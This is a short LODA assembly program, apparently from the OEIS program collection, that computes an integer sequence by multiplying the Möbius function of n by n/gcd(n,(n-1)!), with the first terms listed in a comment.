; Submitted by Christian Krause
; 1,-2,-3,0,-5,1,-7,0,0,1,-11,0,-13,1,1,0,-17,0,-19,0,1,1,-23,0,0,1,0,0,-29,-1,-31,0,1,1,1,0,-37,1,1,0,-41,-1,-43,0,0,1,-47,0,0,0,1,0,-53,0,1,0,1,1,-59,0,-61,1,0,0,1,-1,-67,0,1,-1,-71,0,-73,1,0,0,1,-1,-79,0,0,1,-83,0,1,1,1,0,-89,0,1,0,1,1,1,0,-97,0,0,0
mov $2,$0
seq $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0.
seq $2,14973 ; a(n) = n/gcd(n,(n-1)!).
mul $0,$2
| 58.333333 | 252 | 0.548571 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.